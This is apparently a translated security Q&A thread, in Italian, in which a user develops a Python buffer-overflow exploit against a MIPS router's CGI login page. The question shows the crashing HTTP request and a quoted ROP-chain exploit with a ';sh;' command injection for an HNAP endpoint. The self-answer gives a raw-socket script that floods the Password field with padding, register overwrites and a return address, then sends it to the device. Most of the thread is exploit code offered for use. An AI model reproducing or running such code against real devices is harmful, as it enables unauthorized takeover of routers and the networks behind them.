Sviluppo di MIPS exploit in indirizzo di memoria python ottenendo il parse come valore [chiuso]

1

Sto cercando di sviluppare un exploit in python. ma non sono in grado di scrivere un vero exploit. Di seguito sono riportati gli scenari in cui ho riscontrato problemi.

  1. di seguito è la richiesta HTTP che si verifica in caso di arresto
POST /cgi-bin/index2.asp HTTP/1.1
Host: 192.168.1.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.1/cgi-bin/index2.asp
Cookie: LoginTimes=1; SESSIONID=boasxxxxxxxxxxxxxxxxxxxxxxxxxxxx; TOKEN=413xxxxxxxxxxxxxxxxxxxx
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 126
Username=admin&Logoff=0&hLoginTimes=1&hLoginTimes_Zero=0&value_one=1&Password1=xsss&Password2=xsss&logintype=usr&Password=AAAAAAAA
  1. Ora l'overflow del buffer si verifica quando si utilizza il campo password, quindi è come A * 1024 + registro S0 + S1 + S2 + S3 (Qui voglio inserire shellcode) + indirizzo di ritorno (che dovrebbe puntare al codice shell) .

  2. Ora voglio scrivere il codice Python che dovrebbe apparire sotto

import socket
import struct
buf = "POST /HNAP1/ HTTP/1.0\r\nHOST: 192.168.1.8\r\nUser-Agent: test\r\nContent-Length: 1\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX" + ";sh;"+"B"*158
buf+="\x2A\xAF\xD0\x84" #S1 -- ROP2 (Pulls Sleep address from S2 which is also stored there before, loads SP+36 is filled in RA with ROP3 and calls Sleep)
buf+="\x2A\xB1\x4D\xF0" #S2 -- points to Sleep in library
buf+="AAAA"+"AAAA"+"AAAA" #s3,s4,s5 JUNK
buf+="\x2A\xB0\xDE\x54" # S6 filled up with pointer to ROP4 which is ultimate mission
buf+="AAAA" #s7 JUNK
buf+="\x2A\xAC\xAD\x70" # RETN address -- ROP1 (fills a0 with 3 for sleep and s1 is filled before with ROP2 address which 
buf+="B"*28+"\r\n" + "1\r\n\r\n" 

  1. E il mio codice attuale ha un aspetto simile a
import requests
import os,sys,re
import struct
url = "http://192.168.1.1:80/cgi-bin/index2.asp"
cookies = {"LoginTimes": "1", "SESSIONID": "boasid055206d8b3d40bd82bdad6b693341bc3", "TOKEN": "413ab27aa9b4a94a003e3e9c080ec368"}
headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Referer": "http://192.168.1.1/cgi-bin/index2.asp", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded"}
data={"Username": "admin", "Logoff": "0", "hLoginTimes": "1", "hLoginTimes_Zero": "0", "value_one": "1", "Password1": "xsss", "Password2": "xss", "logintype": "usr", "Password": "AAAA1024 times\x02\xac\x14\xc30AAAA\x02\xac\x14\xc0AAAAAAAAAA\x02\xac\x14\xc0"}
requests.post(url, headers=headers, cookies=cookies, data=data)

Quindi ora la mia domanda è come posso inviare dati = campi nel codice menzionato in 3. perché nel codice sopra menzione ci sono intestazioni HTTP ma nei miei campi exploit ci sono dati non header. O come posso inviare l'indirizzo di memoria nel modulo delle richieste Python. o come posso inviare dati in codice menzionati in 3.

Grazie S3curityB3ast

    
posta Security Beast 08.06.2018 - 12:19
fonte

1 risposta

0

Dopo aver trascorso un po 'di tempo con gdb e python alla fine ho trovato il codice che può analizzare l'indirizzo come un indirizzo invece di una stringa.

import socket
import struct
buf = "POST /cgi-bin/index2.asp  HTTP/1.1\r\nHOST: 192.168.1.1\r\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nReferer: http://192.168.1.2/cgi-bin/index2.asp\r\nCookie: LoginTimes=0\r\nConnection: Close\r\nUpgrade-Insecure-Requests: 1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 1714\r\n\n"
buf+="Username=Bufferoverflow"
buf+="&Logoff=0" 
buf+="&LoginTimes=1"
buf+="&LoginTimes_Zero=0"
buf+="&value_one=1"
buf+="&Password1=xss"
buf+="&Password2=xss"
buf+="&logintype=usr"
buf+="&Password="
buf+="A"*999 #Padding till T4
buf+="T4T4" #T4 Address 0x2BB30D5C kill address based on libc
buf+="T7T7" #T7 sleep address based on libc
buf+="B"*9 #Padding till T6
buf+= "T6T6" #T7 Address Sleep Address Based on libc negetive
buf+="K"*8 #Padding between T6to s0
buf+="S0S0" #S0 Address sleep address boa possitive
buf+="S1S1" #S1 Address Sleep Address Boa negetive
buf+="S2S2" #S2 Address Normal Sleep Adress
buf+="S3S3" #S3Address System Address
buf+="\xA0\x0E\xA2\x18" #return Address
buf+="K"*600
print buf
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.1", 80))
s.send(buf)

E la conclusione finale

Modulo richieste analizza il valore come una stringa. e quando usi socket assegna il valore come indirizzo

    
risposta data 11.06.2018 - 15:45
fonte

Leggi altre domande sui tag